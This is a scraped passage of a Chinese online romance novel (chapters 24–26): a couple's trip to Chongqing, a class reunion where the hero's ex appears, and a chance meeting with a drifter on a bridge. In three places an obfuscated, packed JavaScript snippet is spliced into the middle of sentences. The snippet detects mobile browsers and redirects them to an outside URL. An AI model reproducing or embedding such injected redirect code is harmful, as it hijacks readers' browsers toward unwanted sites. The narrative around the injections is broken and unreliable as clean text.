“那个,你之前的相亲对象,叫江远尧的,你们还有联系吗?” …… “咱们猜对了,但晚了一步,让我表哥先发现了。” 贺知春此时也回到了卧室,单手支在脑后靠在床头笑着问道:“大舅哥怎么说?” 林晓玥被这一声大舅哥喊红了脸:“别乱叫,什么大舅哥,你还没过门儿呢!我哥去吴念的学校正好撞见他们在一起了。” “这么巧。” “那可不呗,然后三个人一起吃了顿饭,我哥把该说的都说了,你笑那么开心干嘛?我都听见声音了。” “我高兴啊,衷心地为吴念感到高兴。” “屁咧,你想的肯定不是这个。” “怎么不是呢?又冤枉我。只是主要原因不是这个而已。” 林晓玥冷哼一声,看他能说出什么花样。 “我那么老大一个情敌,啪,看上别人了,都不用我费力提防了,我可太开心了!” 贺知春笑得胸口一颤一颤的,拿手机的手都有些不稳,啪嗒一下掉在腿上。 林晓玥看着手机里的画面瞬间变得漆黑:“怎么了?停电了?” “没事……小事……” “我有些困了,明天又要上班了。” “那睡吧,睡前你还忘了些什么?” 画面重新亮了起来,露出了贺知春刻意凑近的大脸。 林晓玥笑了笑,一点点靠近手机:“木马~” “晚安。”贺知春对着屏幕恋恋不舍。 “晚安。” 24. 第 24 章 十一假期的时候,北方的各个城市突然火了起来,北上的高速上堵得水泄不通,吴念在微信上不停和林晓玥抱怨。 而贺知春恰好应邀要去重庆参加一个学术会议,于是进行了一次反向旅游,坐飞机一路南下。 “你信不信,这还是我第一次坐飞机。” 虽然林晓玥向往自由,但很少有出这么远门的机会,她趴在窗边看着和机翼比肩的飞鸟,看着飞机穿过云层和霞光。 “以后我们还会一起经历许多第一次,我会陪你体验新奇的人生。” 贺知春靠在座椅上,翻阅着接下来的会议材料,虽然他不用上台演讲,但提前了解一下同行们的最新研究成果总是没错的。 “你开会的时候我做点什么好呢?” “和我一起去开会呀!都是业内的大佬。” “那可不行,我社恐,而且什么都听不懂,再说了,人家邀请的是你又不是我。” 但是撇下贺知春自己去逛街又显得不太仗义。 贺知春把烫金的邀请函递给林晓玥看。 “这么浮夸的设计!不知道的还以为是什么高端的酒会呢。” “哈,往年都挺低调的,可能今年换赞助商了,喜欢这种风格。” “原来是这样。”林晓玥点点头,手指甲不自觉地抠着请柬上的一处暗纹。 “怎么?喜欢这种风格?那以后我们结婚请柬也……” “不要,太复杂了,我喜欢中式的,淡雅一点,还要有新意。” “懂了,既传统又要与众不同呗?” “对,不对,谁要和你结婚啊?” “嗯?” 贺知春把期刊随手放在腿上,上半身不断靠近林晓玥,具有十分温和的侵略性附在她耳边说道:“那你想和谁结婚?” 不等林晓玥回答,贺知春把她的手抬起来放在自己脸侧轻轻蹭了蹭,然后小心啄了一口。 “你是我的,只能是我的。” “好啦,是你的。” 林晓玥有些受不了他这样突然撩人的举动,只好揉揉他的头发然后提醒道:“这位先生,公共场所请注意你的言行举止哦。没准这飞机上还有你的同行在看着呢。” “我不怕,我就怕你跑了。” 贺知春嘴上不依不饶,动作却顺从了林晓玥,重新坐直了身体。 “你看看这外面,万丈高空,我难道还能长翅膀飞走了不成?” 林晓玥反手指了指窗外,透过云层可以依稀看到下面的高山与丛林,马上就要到目的地了。 “能,香妃就变成蝴蝶飞走了。” “那我是香妃吗?” “不是,你是臭妃。” “呸,给你机会重新说。” “咳,你是我的爱妃。” 贺知春笑得一脸放肆,林晓玥伸手在他的胳膊上拧了一把。 “三宫六院后宫佳丽你就别想了,我这个人心眼比针鼻还小。” 林晓玥用食指和拇指的指甲比划了一道几乎看不见的缝隙。 “哈哈哈行,不找那么多,逗你的,不要生气嘛,气大伤身。” “反正我提前警告过你了昂,如果还明知故犯的话,哼哼,后果很严重。” 林晓玥狠狠地捏了捏他的胳膊,肌肉过于扎实,竟然捏不动,只好作罢。 “马上下飞机了,想吃什么?” 飞机在缓缓滑行后停稳,贺知春起身拿行李。 “要不先来个欢迎火锅?” “会不会很辣?” “点个鸳鸯锅不就好了。” “会被鄙视的吧?” “你还在意这?” “那倒不是。” “那一会儿在车上搜一搜哪家店好吃,我们放下行李就过去。” “好,会耽误你下午开会吗?” “今天就是半天的见面会和欢迎仪式,正式的讲座是明后两天。” “那好吧,我要尝尝传说中的猪脑花!” “想不到你还挺重口味。” 贺知春一手拎着一个行李箱,好在带的东西都不多。 “尝吧,吃啥补啥。” “找打!” 飞机比预计的时间早降落了半个小时,给他们留出了充足的时间去酒店放行李。 “这次只有一间房喽,人太多主办方安排不过来。” 贺知春两根手指夹着房卡,那是一张双人标间。 “量你也不敢做什么,光天化日,还是在出差的时候。” 贺知春整理完一切关上房门搂着林晓玥的肩膀往外走:“是是是,我有贼心没贼胆,想好吃哪家了吗?” “这家吧,离得近,下午开会也赶得回来。” 林晓玥把手机递给贺知春,这家火锅店的评价似乎还可以,甚至评分排到了全区第二名。 “这么贴心啊,那得让你吃开心了。” 酒店和火锅店都在市里比较繁华的地段,明明要的是鸳鸯锅,林晓玥上来就被小菜来了个下马威,嘶嘶哈哈地抽着气。 “水,快给我水!” 贺知春笑哈哈地把桌上的冰粉递给她:“这个更解辣,慢点吃。” “谁知道那看着粉乎乎的小萝卜片是这么惊天爆辣的程度啊!” 林晓玥嘴里的冰粉还没来得及咽下去,就对那碟腌萝卜发出了控诉。 “明明是自己菜还要怪人家萝卜。” 贺知春话音刚落,就单手掩唇轻咳了两声,“菜就多练!咳咳咳……” 可这咳嗽就像止不住一样,贺知春甚至呛出了眼泪。 林晓玥的火气还没来得及发出来就被这一幕逗笑了,对贺知春做起了鬼脸:“别装了,被辣的吧?菜就多练,略略略!” “咳咳,我这报应来的还挺快,说都没法说你一下。” “这就对了,你没听过一句话吗?听老婆话会发达!不听老婆话……” 林晓玥话音顿了顿,拉长了语调,“会……倒……霉。” 贺知春从清汤锅那半锅底里捞出肉放进林晓玥碗里:“遵命,小的可不敢不听话,是吧老婆?” 最后两个字说得小声又迅速,说者很不好意思,耳朵红得像滴血,听的人也好不到哪里去,但这一切都可以归咎于火锅太辣,让人有些过敏。 林晓玥借口早上起得太早,吃完饭后躲在房间里睡了一下午,等贺知春开完会回来时,窗外的太阳已经变成了红色。 他绕到窗边轻轻捏了捏对方的脸:“起床啦!” “嗯……” 林晓玥迷迷糊糊睁开眼,这种一个人在房间里的下午很容易睡到昏天黑地。 “带你去看现实版的千与千寻汤屋。” 林晓玥借着贺知春的力量坐起身:“我知道!是洪崖洞,对不对?” “你怎么这么聪明?醒醒盹我们现在就出发。” “我已经清醒了。” “那再带上一件外套,我怕晚上江边有风会冷。” “好。” 林晓玥坐在床边看着贺知春笑:“你怎么这么周到,跟你出来我什么都不用操心。” “是我应该做的呀,说了让你完全信任我、依赖我,男子汉要说到做到,会发达哦!” “走吧!保佑你发大财,allmoneygomyhome。” 洪崖洞夜景很美,美中不足的就是人很多,哪里都多,以至于整座跨江大桥到了晚上需要交通管制,只允许行人通过。 “不愧是假期哦,之前还以为北方那么热门,这里人会少一点。” 林晓玥紧紧握着贺知春的手穿梭在人群中。 “你忽略了我国庞大的人口基数。” 一路挤到景点时,已经是夜幕降临,华灯初上了。 “好好看!” 高低错落的建筑依山而建,暖黄色的灯带让人仿佛置身于童话世界。 “真的和动漫里的一样诶!” 即使之前从网上看到过图片,可当真正身临其境的时候,林晓玥还是忍不住感慨道。 晚风吹起林晓玥的头发,路灯下她的笑脸渐渐和雪夜那晚重叠,仿佛一切都没变过。 “真好……”贺知春站在林晓玥身后喃喃自语。 “你说什么?” “我说,咱们现在一层层下去吧。” 8D魔幻城市名不虚传,他们明明在顶层,可却处宽广的大马路上。 “我看每一层都有一些商铺和饭店,你看看想吃哪家。” 贺知春轻轻捏了捏林晓玥的手心,在她耳边补充道:“我听说,洪崖洞可是私人财产呢,这个冷知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993356|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识你不知道吧?” “确实不知道……是我没见过世面了哈哈哈,不懂有钱人的世界。” 林晓玥回握住贺知春的手,“不过,现在的生活我很喜欢!我想吃这个!” “好,买!” “你说我们还要专门找地方吃饭吗?感觉这些小吃随便吃一吃就饱了。” “看你喽,还想吃火锅吗?” 想到中午那顿火锅林晓玥摇摇头:“不了不了,太辣了,我的肠胃得缓一缓,不过明天早上我们可以去吃一碗重庆小面,听说很好吃。” 一路走到最底层,不远处的江边码头有很多人在排队。 “想不想坐游轮?” “想!在江上看夜景一定会更好看!” 最大的那艘船已经是最后一班了,没办法只好买了另一艘船的票,半小时后开船。 “运气还不错,赶上了最后一班船。” 林晓玥手里拿着两张船票站在队伍里靠前的位置。 “是啊,跟你在一起运气就会好,之前做实验的时候也是。” “你还说呢,我还生怕担心你的毕业进度,结果你直接……” “一会儿想去二楼还是在甲板上?” 贺知春打断了林晓玥的话。 “船票上写了,大厅里会有变脸表演。”林晓玥把船票反过来,露出上面的简介,“我还没亲眼看过变脸表演,我们可以看完之后再无甲板上看夜景。” “好,都听你的。” 贺知春笑得一脸宠溺。 “马上就要登船了,你拉紧我,人太多别把你挤丢了。” “放心吧!”林晓玥重新把手啪的一下放在贺知春伸来的手掌上,“绝对比粘了502还要牢固!” 旅途不长,游轮绕着江心岛转了一圈,看到岸上风景的各个角度。 最后在演员的谢幕声中下了船。 “小心!” 最后一块浮板远远高于地面,贺知春率先跳了下去,然后张开怀抱接着林晓玥。 林晓玥没有丝毫的犹豫,直接跳进了贺知春的怀里。 “这么勇敢呢?” 贺知春紧紧扶住林晓玥的腰。 “是啊,不是你让我信任你依赖你的吗?” “真棒,奖励你什么好呢?” “嗯……已经吃饱了,要不我们逛一逛买点特产吧,我刚刚看到有一家的麻辣豆腐乳好像很不错,还有好多零食,下单就能寄回家,省的吴念说我重色轻妹。” “哈哈,行,你负责挑,我负责结账。” “我好像知道之前为什么跟江远尧相处起来怪怪的了。”随便走进一家店,林晓玥突然灵光一闪。 “好端端的怎么又提他?” 即使知道了江远尧已经和吴念在一起,贺知春还是本能地对这个名字充满敌意,差一点就要把爱人拱手让人。 “这不是突然想起来了嘛。” 林晓玥拿起一袋狗屎糖,好奇地闻了闻,什么也没有闻出来。 “他每次请我吃饭或者玩儿什么东西的时候,我总觉得过意不去,觉得不该让人家给我花钱,但是和你在一起的时候就不会,你的钱我花得心安理得。” “嘿,你这小妮子……” 贺知春被她这套理论逗笑了,“应该的啊,你就保持这种观念,只花自己家的钱。” 贺知春甚至觉得这些还不够,嫌弃林晓玥拿的东西太少,又往购物筐里添了些。 “吃不了这么多。” 林晓玥按住了贺知春的手,“我们只是买点纪念品,不是要囤粮啊,理智消费。” 贺知春停住了继续添东西的动作,看着林晓玥道:“可我想把那两年的份也补上,两年前的时候我还什么都没有,但我现在有工作了,虽然不能说是富甲一方,但肯定比上学的时候有能力……” “我知道啊,心意我懂,但咱该省省该花花行不?以后不过日子啦?” 林晓玥又从筐里挑出几件重复的袋子放回去,“省点钱给我买金戒指金项链,以后要花钱的地方多着呢。” “嗯,记住了。” “记住什么了?” “你喜欢金戒指和金项链,以后每年都送你。” “嗯……”林晓玥歪头想了想,“反正保值,这样也不算浪费。” 25. 第 25 章 最后一天的会议结束得早,贺知春回到房间的时候林晓玥正在百无聊赖地抱着手机打游戏,听到开门的声音时猛然抬头,眼中是藏不住的笑意:“怎么这么早就散了?” “是啊。” 贺知春走过来直挺挺躺在林晓玥的腿边:“太累了,比上班还累。” 林晓玥放下手机,双手放在和支出难道太阳穴上轻轻揉着:“做实验早出晚归的,能和这个比?” “趁现在天还早,再带你出去逛逛?” 贺知春一个翻身坐起来,在林晓玥的脸上亲了一下,“园博园离这里不远,想去吗?” “嗯,南方的花花草草我还没有见过。” “那走吧。”贺知春起身整理凌乱的衬衣,“对了,晚上我有一个同学聚会,你你跟我一起去吧,正好让你见见老乡。” 老乡? “高中同学?怎么会跑到这么远的地方聚会?” 贺知春搂过林晓玥的肩膀:“说来也巧,你之前不是说这次的邀请函浮夸吗?赞助商正好是我一个同学所在的公司,他负责的这方面,大会上见到我了,说什么也要组织大家聚一聚,人应该不会太多,都是一些方便过来的。” “毕业这么多年了还能聚到一起也不容易。” “那可不嘛,车来了。” 这里的出租车素有“黄色法拉利”之称,今日一见果然名不虚传,一个急刹车林晓玥险些栽到前面的椅背上,贺知春眼疾手快一把拉住了她,然后紧紧攥着她的手以示安慰。 林晓玥松了口气,似乎想到了什么开心的事笑出了声音:“你知道吗,我小时候有一次坐公交也有类似的经历,那时候我舅舅家住的还很偏,我们坐公交去他家需要经过一段土路,当时我坐在最后一排中间的位置,前面什么遮挡都没有,车就开到一块大石头上,我人都飞起来了,屁股离开了座位,甚至还有一些失重感,多亏我爸反应快,一抬腿拦住了即将飞出去的我。” “然后呢?” 贺知春轻轻捏着林晓玥的手指。 “然后我又被迫降落了啊,直接又被弹回了座位上。” 说话间车停在了园区的门口。 “这大门,非常气派!”、 “来张游客照吗美女?” 贺知春说话间拿出了手机。 林晓玥站在大门中间的位置伸手比了个耶,传统而朴素的拍照姿势。 一进门是一个巨大的天坑,层层台阶通往下面望不到底。 “我还是第一次见到这样的在坑底的公园。” 林晓玥小心翼翼地向下走着,石阶边缘偶尔会有滑腻的青苔,贺知春走在前面,向后伸出手牵着她。 四周的灌木丛里传来不知名的虫子叫声。 “小心有蛇。” 林晓玥看到草丛里面立着的一块牌子,拉着贺知春的手不禁紧了紧。 “你看!他说这里有蛇!” “这在南方很常见,植被丰富,蛇虫也多,不要怕,我这不是在前面给你开路吗?” 一路走到平地上,才看清这个公园的本来面貌,旁边有一块木质的大地图,上面标注着各个城市风格的园林所在的位置。 “先去哪儿?” 随便逛吧,走到哪算哪,这么大的园子,全逛完都赶不上吃晚饭了。 林晓玥和贺知春十指相扣漫无目的地走着。 “你看那里有一块提示牌,还说了最近的救助站有多远。” 贺知春顺着林晓玥手指的方向看过去:“救助站的位置刚刚的地图上也标了,我还拍了下来。” 本来走在路边的林晓玥往路中间靠近再靠近:“你你也别离那些草太近了,我现在感觉那里边都是蛇。” 尤其是看到提示牌上特意说明救助站里有血清之后,林晓玥意识到这里面有毒蛇。 “没那么夸张,人家就是以防万一……” 贺知春的安慰被一声细微的尖叫声打断了。 难为林晓玥在极度害怕的情况下还压抑着自己的声音以免真的打草惊蛇。 “怎么了?” “那……那里……” 林晓玥小心伸出一根手指,指着不远处一棵小树上,树枝上盘着一条手指粗的青翠色的蛇,正在嘶嘶地吐着信子。 “好像是传说中的竹叶青,有毒。” “没事没事,离我们还远着呢。” 贺知春绕到另一边,挡住了林晓玥的视线,“你懂的还挺多,连竹叶青都认识。” “小时候最喜欢看的书就是《十万个为什么》,刚刚那一瞬间我汗毛都竖起来了。” “哪儿呢?我看看,呀,还真是!” 贺知春顺势在林晓玥的手臂上轻轻咬了一口。 “哎呀你是属狗的吗?” 林晓玥将手抽了回来,“前面的路好黑我不想走了。” 天气不知道什么时候阴了下来,前方高大又茂密的树林此时显得阴沉莫测。 “那我们就原路返回喽。” 贺知春拉着林晓玥原地转身,还不忘走在靠近蛇的那一边。 同学聚会的地方定在了一家很有当地特色的饭店,离这里有一些距离,但时间上还很充裕,他们选择坐轻轨。 “考考你,你知道轻轨是什么吗?” 买票的时候,贺知春问林晓玥。 “看样子是在地面上的地铁。” “嗯……也可以这样理解吧,一会儿让你体验一下穿楼而过的感觉。” “你这样一说,我感觉这个城市更魔幻了。” 假日期间排队的人很多,仿佛置身于春运的火车站台一样,所幸车站加开了频次,等待的时间不算太长,又恰好运气好,上车后有空座位。 林晓玥转身看着窗外川流不息的马路下一刻就变成一片虚无的空气,转瞬又钻进一户寻常的高楼。 “咱们这一趟来得真值!坐了飞机,坐了游轮,坐了越江而过的缆车,还坐了穿楼而过的轻轨。” 她看向贺知春,“哦对,还有风驰电掣的出租车。” “以后我们还会一起滑雪、冲浪、看雪山、看大海……” 贺知春把手放在林晓玥的头上轻轻揉乱了她的头发,林晓玥躲闪不及,拍开了他的手。 “一会儿头发油了,我还怎么见人啊。” “丑媳妇也得见公婆啊,你说是不是?” “总是乱说话!” 饭店距离轻轨站不远,这一站下车的人不少,林晓玥被人群裹挟着下了车,这片城区和之前住的地方是两种氛围,依旧喧嚣,但是随处可见一种慢节奏的生活状态。 “这边的茶馆还挺多,我这一路下来都看见三四家了,还有麻将馆。” 林晓玥挽着贺知春的胳膊,一路上看什么都很新鲜。 “我还看网上说路边会有卖栀子花手环的老婆婆,可惜这次没有见到。” “栀子花不是这个季节的呀,你要是喜欢,回去我们试着种一种,但是不一定能种得出来,毕竟气候不一样。” “嗯……是有一点点遗憾。” 林晓玥抿了抿嘴唇,把视线又投向了街边的小店。 忽然间贺知春轻轻捏了捏她的手。 “你看那边路口那个小姑娘,手里拿着一个竹筐,我们去看看她在卖什么。” “我觉得是蘑菇……” 林晓玥嘴里哼着熟悉的那首儿歌,凑到摊子前。 “呀!好香啊!” “真好看!” 竹筐里不是大大小小和星星一样多的蘑菇,而是一串串风干的茉莉花编成的项链和手串。 看得出制作它们的人非常心灵手巧,非常细致,每条手链都用着颜色不一样的丝带绑着,打结的手法也不尽相同。 “姐姐你戴这个好看!” 小姑娘递过来一个系着藕粉色蝴蝶结的手链,林晓玥搭在自己手腕上试了一下,确实很好看。 茉莉花的香气似有若无,又经久不绝。 “这个香味儿能保持多久啊?” “一个礼拜没问题的。” 林晓玥看着给客人推荐各种款式的小姑娘又问道:“你多大啦?这是在挣零花钱吗?” “我今年十五,刚考上高中,打算趁放假挣点学费。” 看着林晓玥同情的眼神,小姑娘赶忙解释道,“姐姐你别误会,我就是想自食其力,家里没有那么困难的。” 我就说嘛,小姑娘看起来穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993357|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴整齐,审美也在线,不像是穷苦人家的孩子。 贺知春付了款,帮林晓玥系上了那条手链,可林晓玥继续低头在竹筐里挑挑拣拣,口中还在自言自语。 “老妈一个,吴念一个,夏梦也有份。” 林晓玥手里拿着三条颜色不同的手链,贺知春笑着又举起了手机,被林晓玥一把拦下了。 “这个我自己付吧,也不是很贵,总要亲自给她们带点伴手礼,不然显得我也太没良心了。” 贺知春只好收回了手,在一旁看着。 林晓玥付完款又转过身补充了一句:“你的钱得攒着付彩礼,这个支出比较大。” “哈哈哈,行,花多少钱也得把你娶回家。” “这么有自信?” “所以你能给我吐露个大概的数字不?我看看砸锅卖铁能不能凑够。” “放心吧,不会为难你的,我爸妈都好说话。” 林晓玥话音刚落,又感觉不妥,“不过,必须要看到你的诚意。” “诚意有!”贺知春拍了拍胸脯,“满满的,都是诚意!” “傻子!” 林晓玥轻轻拍了下他的肩膀,重新挽上贺知春的胳膊。 聚会的饭店就在距离这个路口的转角处不远的地方,林晓玥他们边走边逛赶到的时候还没有几个人来,他们正坐在专门的茶室里喝茶。 “呦,贺博士来了,旁边这位是?” 开口的是一个短发女生,看起来是职场干练的女精英模样。 “给大家介绍一下,这是我女朋友,林晓玥。” “这名字有点耳熟……你两年前谈过的女朋友是不是也叫这个?” 那女生问道。 贺知春轻咳一声掩饰尴尬,“咳,还是她,不过这次肯定会结婚的。” 说完还心虚地看了一眼林晓玥,似乎是在对她保证着什么。 “哦对了,我叫林涛,说起来我们还是本家呢。” 那女生笑着对林晓玥伸出手。 贺知春附在林晓玥耳边悄悄解释道:“那个请柬就是她设计的。” 林晓玥不禁多打量了林涛两眼,没想到这个人身上有这么大的反差感。 “今天来了多少人啊?感觉好多年都没有聚过了。” “是啊,好多同学都留在了外地发展,平时想找人一起玩都找不到。” “等你结婚了就没空玩了。” “那不一定,你看我这不是拖家带口地过来了嘛?这次林涛组局,可不能放过她。” 林晓玥像一个局外人一样看着他们七嘴八舌地谈论着近况,偶尔掺杂着回忆几句当年的往事。 贺知春仿佛看穿了林晓玥的心思,伸出手把她的手握得紧紧的。 ‘你怎么不跟他们聊天?’ 林晓玥侧过头小声问道。 “没什么好回忆的,当时就忙着学习了,很少参与集体活动,不过有人叫我的话我也不会拒绝。” “他当年可是数一数二的尖子生,不过高三那年也不是只顾着学习嘛……” 开口的这个男人林晓玥认识,也不能说是认识吧,起码见过好几次了。 贺知春对那人投去了警告的眼神,那人点到为止,没有再多说。 林晓玥心下存疑,但也不好多问,只是悄悄握紧了手。 “既然人到的差不多了,我们就上座吧。” 林涛起身打开了茶室另一端的门,门那端就是吃饭的房间,整体风格和这里一致,装潢和家具充满了古色古香。 “刚刚他们说的那些话你不要在意。” 往里走的时候贺知春低头对林晓玥说道,“他们谈论的都是很久以前的事情,毕竟大家共处的时光比较有谈资。” “嗯,我知道。” 林晓玥扯出一个笑容,“哎呀我没那么玻璃心,以前的你是组成现在的你的一部分,我应该全盘接受的。” “嗯,我家玥玥就是这么善解人意。” 贺知春帮林晓玥拉开椅子,林晓玥坐下的时候微不可查地叹了口气,脑海里想的是第二次见到那个男人时他口中提到的沈青青,以及…… “呦,今天是个好日子,当年的金童玉女到齐了。” 26. 第 26 章 金童玉女? 多么熟悉的词汇,林晓玥在听到它的一瞬间抬头看向了门口:一个穿着时尚留着锁骨发的女人出现在那里,林晓玥在贺知春朋友圈的照片里见过她,是沈青青。 贺知春握着林晓玥的手不自觉收紧,脸上却没有任何情绪。 而那个第一个看到沈青青的男同学此刻殷勤的很,起身让出了自己的位置:“来来来,女神坐我这里,挨着我们小贺博士。” 林涛仿佛从没见过这么没有眼力见的人,一个劲儿地冲那个人使眼色,可他还是装作没看到一般,自顾自地把座位让给了沈青青。 林晓玥有些讨厌这个人。 那人向旁边座位挪了个屁股,然后开启了话题。 “让我们沈女神讲一讲这些年在国外的见闻!如今也是艺术家了,我记得沈班长当年就很有艺术气息,全班只有她一个艺术生可以留长发。” “喂,我也是艺术生好吧?” 林涛看不下去地开口。 “抱歉,一直把你当男生了,谁让你总是走中性风呢?” “滚!” “其实……漂泊在外的滋味是很孤独的。” 沈青青小心翼翼地看向贺知春,“这一点你应该也深有体会,吃的不习惯,语言不通,独在异乡为异客。” “嗯,其实也没什么,我们搞科研的,实验室里一待就是一天,在哪个国家都没有区别。” “怎么能没区别呢?这无依无靠的,正好你们又在一个国家,这不得再续前缘……” “李茂!你喝多了?” 林涛忍不住出声打断那个不知道是没安好心,还是单纯缺心眼子的男人。 “这不还没上菜呢,喝什么酒……对对对,大家好不容易聚在一起,我提一杯,祝大家国庆快乐!” 林晓玥端着饮料的手轻轻颤抖着,鲜红色的果汁在玻璃杯中摇曳,像是白雪公主的恶毒后妈配制的诱人毒药。 那不如就遂了他们的愿。 一个声音在林晓玥的内心深处低语。 林晓玥的内心莫名烦躁,好似有一股无名火在四处窜动。 “我有些不舒服,想回去歇一会儿。” 她俯身在贺知春的耳边说道。 “怎么了?下午不还是好好的?要不咱们去医院看看?” “可能中午吃凉了,也可能下午路上着了风,你们慢慢吃……嗯,尽量早点回来。” 难得的同学聚会,是不能奢求贺知春抛下在场的一切陪她回去的。 毫无期待就会收到意料之中的回复。 “那你路上小心,想吃什么和我说,我回去给你带。” “嗯,你们聊得开心。” 林晓玥起身离开了房间,带着一群逢场作戏的挽留。 “都怪你,一天天胡说八道,把人家小贺的女朋友气走了吧!” 林涛在饭桌上指责这那个叫李茂的男人,他可真有礼貌啊! 那男人也不恼,插科打诨一般端起了酒杯:“是是是,怪我,我给咱们贺博士赔个罪!” “没事,她就是身体不舒服,你们不要想太多。” 贺知春和他轻轻碰杯。 走出饭店时,外面已经是灯火通明,林晓玥裹紧了风衣的衣襟,这个季节的昼夜温差可不小。 街道上人来人往,林晓玥走到一处公交车站台,嗯,来都来了,也体验一下这边的公交车好了。 等车的人不多,林晓玥掏出手机查了一下,恰好有一条线路会经过他们所住的酒店门口,更幸运的是,下一辆车马上就到。 上车后,林晓玥走到车位角落的空位坐下,看着窗外热气腾腾的小摊和游客。 从这里回去有十五站,路程即将过半的时候,她意识到了报站声中的不对劲。 林晓玥又拿起手机确认了一下,呃……这边的站名都太像了! “完了,坐反了。” 林晓玥尴尬地坐直了身子,在下一站停车的时候下了车。 这里距离之前坐船的码头不远,林晓玥干脆顺着江边走到了大桥上。 桥上的人依旧很多,她心不在焉地随着人群上了桥,没走两步就后悔了,此时往回退已经来不及了,只好硬着头皮继续往前走。 “哎呦别挤啦!有人跳桥啦!” 不知怎的,一声尖叫声在人群中爆发,一个年轻男人上半身探出了桥外,旁人默契地刷拉一下在他周围扩散出了一小片空地,谁也不敢上前。 “我就说节假日不能出门,你看看,遇到多么危险的事了!” 一个看起来是父亲样子的人在一旁教训自己的儿子,“看景不如听景,听景不如安生,以后可不出来了。” 小男孩儿怯生生不回答,低头抠着手指。 林晓玥联想到了七夕夜那个跳河的少年,于是试探着问了一句:“你还年轻,以后的路还很长,别想不开……” 此言一出,人群中立马有人附和着。 那男子额头上冒出了汗珠,在凉爽的夜晚蒸腾出热气。 他的表情看起来很痛苦,声音从牙缝里挤出来:“我知道,我还没活够,我只是为了捡手机……” 不是自杀,周围的人瞬间松了一口气。 可是没人敢上前,他所处的位置和姿势角度很刁钻,施救十分困难,一个不小心可能就会把人推下去,到时好心救人反而变成了杀人,哪怕有一百张嘴也说不清。 就在这时,一个穿着泼辣么,头发长长的甚至还打着结的老人上前,一手抓住那年轻男人的右手,另一只手捉住他的左肩膀,稍一用力,把那人从栏杆外面翻了进来。 长时间保持一个动作让那个年轻人的肌肉有些僵硬,他活动了一下手脚,恢复知觉后连连向那个流浪汉道谢。 围观的群众已经回到了各自的行动轨迹,只是仍旧为他们空出了那块地方,林晓玥也站在那一片空地上。 虚惊一场,此时再借着头顶的路灯观察那个流浪汉,林晓玥这时才发现,他根本就不是年岁多大的老人,只是偶尔有几根白发,这身破烂的穿着和不加修饰的面容衬得他十分苍老,而从刚才他救人的身姿上来看,他身手敏捷,且有勇有谋。 甚至……眉眼间的神态细细看去,竟然有些像频频出现在自己梦里的那个人。 “舅舅……” 林晓玥怔怔望着那个“流浪汉”喃喃出声。 那流浪汉没有听到,转身就要离开,林晓玥叫住了他。 “请等一下!” 流浪汉和那个年轻人同事回过头来,这才发现她还没有走。 “小姑娘,有啥子事情蛮?” 开口是不熟悉的南方口音,而舅舅是土生土长的北方人,一瞬间把林晓玥拉回了现实。 “我可以……请你们吃顿饭吗?” 一个是没了手机等于身无分文的年轻人,一个是四处漂泊天地为家的流浪汉,请他们吃顿饭合情合理。 那年轻人看向林晓玥的眼神里充满了戒备,这是什么无事献殷勤的傻白甜?有钱没处花了? 转而又想到她是刚刚第一个站出来劝自己想开点的围观路人,虽然自己并不是轻生,但她的确是出于好心。 那年轻人有些举棋不定,犹豫道:“就你自己?请我们两个大男人吃饭?你心可真大!” 林晓玥看向那年轻人,他穿着格子衬衫,戴着一副黑框眼镜,看样子比自己大不了多少岁,听口音却很亲切。 “你是乾平县人?” “你怎么知道?” 年轻人眼中的戒备少了些许,“难道你也是?” 林晓玥点点头:“也不对,我妈妈是那里的人。你也是来旅游的吗?” 真是老乡见老乡,两眼泪汪汪,年轻人深深叹了口气:“唉……别提了,刚被裁员,干脆出来散散心,顺便看看这边有什么工作机会。” 他几乎放下了防备:“那好吧,相遇就是缘分,这顿饭算我欠你的,等以后回了乾平县我请你!” “哈哈好,叔叔你和我们一起吧!” 林晓玥看向那个流浪汉,因为期待而有些紧张,支架嵌进满是薄汗的手心。 那流浪汉摆手示意:“我这一身,也能和你们一起吃饭吗?” 他的穿着虽然破旧,但没有异味,看起来是一个注重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993358|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打理自己的人,只是可能经济条件寒酸了一些。 “一起吧,这个城市的包容度很高,更何况,再不济我们就当做是一场COSPLAY。” “你这小丫头脑子还挺灵光的!那我就蹭你一顿饭啦!” 林晓玥待他们就近去了一家火锅店,流浪汉大叔借着饭店的洗手间简单整理了一下自己,洗干净脸上的灰尘和汗水,顺便也借了一把剪刀剪掉了打结的长发。 再次出现在大家面前的时候,如果不是凭借衣服上同一位置的破洞,林晓玥兼职不敢相信这前后竟是同一个人! “叔叔你……” 流浪汉看着眼睛里蓄满泪水的林晓玥一时有些手足无措:“妹儿你别哭啊,我这幅样子比之前还吓人吗?我只是想着别给你俩丢人……” 